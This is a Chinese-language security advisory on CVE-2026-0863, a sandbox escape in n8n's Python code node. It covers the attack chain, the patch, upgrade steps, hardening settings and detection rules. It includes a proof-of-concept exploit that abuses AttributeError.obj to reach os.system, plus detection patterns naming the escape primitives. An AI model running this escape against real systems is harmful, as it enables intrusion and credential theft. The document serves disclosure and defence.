CVE编号: CVE-2026-0863
漏洞名称: n8n Python Task Executor Sandbox Escape
CVSS评分: 8.5 (高危)
披露时间: 2026年1月18日
发现者: Natan Nehorai (JFrog Security Research Team)
影响范围: n8n < 1.123.14, 2.0.0-2.3.4, 2.4.0-2.4.1
n8n是一个拥有230,000+活跃用户的开源工作流自动化平台,被广泛应用于企业DevOps、数据处理和业务流程自动化。2026年1月18日,JFrog安全研究团队披露了一个影响n8n平台Python代码执行节点的高危沙箱逃逸漏洞。
该漏洞允许经过身份验证的攻击者通过巧妙利用Python异常处理机制,完全绕过n8n的安全沙箱,在服务器上执行任意代码。
n8n为了安全执行用户提供的Python代码,实现了基于黑名单的沙箱机制,阻止访问危险的Python对象属性(如__subclasses__、__globals__等)。
然而,n8n的安全黑名单存在致命遗漏:未阻止AttributeError异常对象的obj属性访问。
Python的AttributeError异常对象包含一个特殊属性obj,该属性保存了触发属性错误的原始对象引用,并且这个引用绕过了所有沙箱检查。
攻击链路:
触发AttributeError异常
↓
捕获异常对象
↓
访问exception.obj获取原始对象
↓
调用__subclasses__()枚举所有Python类
↓
定位BuiltinImporter类
↓
导入os/subprocess模块
↓
执行系统命令
def exploit():
try:
# 故意触发AttributeError
f"{dict.mro()[1]:'{__trigger__}'}"
except AttributeError as e:
# 利用e.obj绕过沙箱
obj = e.obj
get_attr = obj.__getattribute__
# 获取所有子类
subclasses = get_attr(
get_attr(dict.mro()[1], "__class__"),
"__subclasses__"
)()
# 定位BuiltinImporter并导入os
for cls in subclasses:
if "BuiltinImporter" in str(cls):
os = cls.load_module("os")
return os.system("whoami")
需要有效的n8n账户(低权限即可)
需要创建或编辑工作流的权限
需要使用Python Code Node功能
根据n8n的部署模式,影响程度存在差异:
Internal Mode(严重):
攻击者获得完全控制权
可访问n8n数据库中的所有凭据和API密钥
可窃取敏感业务数据
可横向移动到内网其他系统
External Mode(中等):
攻击者的代码执行被限制在独立容器内
影响范围相对可控
仍可能通过容器逃逸进一步攻击
内部威胁:不满员工利用低权限账户窃取敏感数据
供应链攻击:通过修改工作流影响下游系统
横向移动:从n8n实例突破到内部网络
数据外泄:批量窃取存储的API密钥和数据库凭据
n8n团队在披露当日(2026-01-18)发布了修复版本:
n8n >= 1.123.14
n8n >= 2.3.5
n8n >= 2.4.2
修复方法:在BLOCKED_EXCEPTION_ATTRIBUTES黑名单中添加"obj"属性。
修复代码:
# packages/@n8n/task-runner-python/src/constants.py
BLOCKED_EXCEPTION_ATTRIBUTES = [
"cr_code",
"ag_frame",
"ag_code",
+ "obj", # 修复CVE-2026-0863
"__thisclass__",
"__self_class__",
# ...
]
优先级P0(立即执行):
# 1. 检查版本
docker exec n8n-container n8n --version
# 2. 升级到安全版本
docker pull n8nio/n8n:latest
docker restart n8n-container
# 3. 临时缓解(如无法立即升级)
export N8N_PYTHON_ENABLED=false
优先级P1(7天内完成):
审计所有Python Code Node工作流
启用External Mode部署
实施严格的访问控制和审批流程
部署监控和异常检测
优先级P2(30天内完成):
进行全面安全审计
加强容器安全配置
实施网络隔离
建立事件响应流程
推荐配置(Docker Compose):
services:
n8n:
image: n8nio/n8n:latest
environment:
- N8N_RUNNERS_MODE=external # 强制外部模式
- N8N_RUNNERS_ENABLED=true
security_opt:
- no-new-privileges:true
cap_drop:
- ALL
read_only: true
task-runner:
image: n8nio/runners:latest
security_opt:
- seccomp=seccomp-profile.json
cap_drop:
- ALL
deploy:
resources:
limits:
cpus: '1.0'
memory: 512M
关键检测指标:
# 监控日志中的可疑模式
suspicious_patterns = [
"exception.obj",
"error.obj",
"__subclasses__",
"BuiltinImporter",
"load_module"
]
SIEM规则示例(Splunk):
index=n8n_logs
("exception.obj" OR "error.obj" OR "__subclasses__")
AND source_type="python_execution"
| table _time, user, workflow_id, code_snippet
| sort -_time
实施基于角色的访问控制(RBAC)
限制Python Code Node的使用权限
启用多因素认证(MFA)
定期审查用户权限
CVE-2026-0863再次证明:基于黑名单的Python沙箱存在根本性缺陷。
历史上多个Python沙箱项目最终失败:
pysandbox:作者承认"无法安全实现"
PyPy Sandbox:因维护成本过高被废弃
Pyodide:存在多个已知沙箱逃逸漏洞
asteval库 (GHSA-3wwr-3g9f-9gc7):同样利用AttributeError.obj
RestrictedPython (CVE-2024-47532):类似的属性访问漏洞
n8n Pyodide (CVE-2025-68668):旧版本沙箱逃逸
避免黑名单:优先使用白名单机制
纵深防御:不依赖单一安全控制
进程隔离:使用容器、虚拟机等物理隔离
最小权限:严格限制代码执行环境的能力
CVE-2026-0863是一个典型的沙箱逃逸漏洞,它揭示了Python语言强大的内省能力与安全隔离之间的根本性矛盾。虽然n8n团队快速响应并发布了补丁,但这一事件提醒我们:
黑名单永远不够完整:总会存在被遗漏的攻击向量
纵深防御至关重要:External Mode显著降低了漏洞影响
安全是持续过程:需要定期审计和监控
对于n8n用户,立即升级到安全版本是最重要的行动。对于安全从业者,这个案例再次强调了代码执行功能的安全设计难度,以及持续安全研究的重要性。
NVD数据库: https://nvd.nist.gov/vuln/detail/CVE-2026-0863
JFrog安全研究: https://research.jfrog.com/vulnerabilities/n8n-python-runner-sandbox-escape-jfsa-2026-001651077/
GitHub修复提交: https://github.com/n8n-io/n8n/commit/b73a4283cb14e0f27ce19692326f362c7bf3da02
n8n官方文档: https://docs.n8n.io/hosting/configuration/task-runners/
免责声明: 本文内容仅用于安全研究和防御目的,任何未经授权的攻击行为均属违法。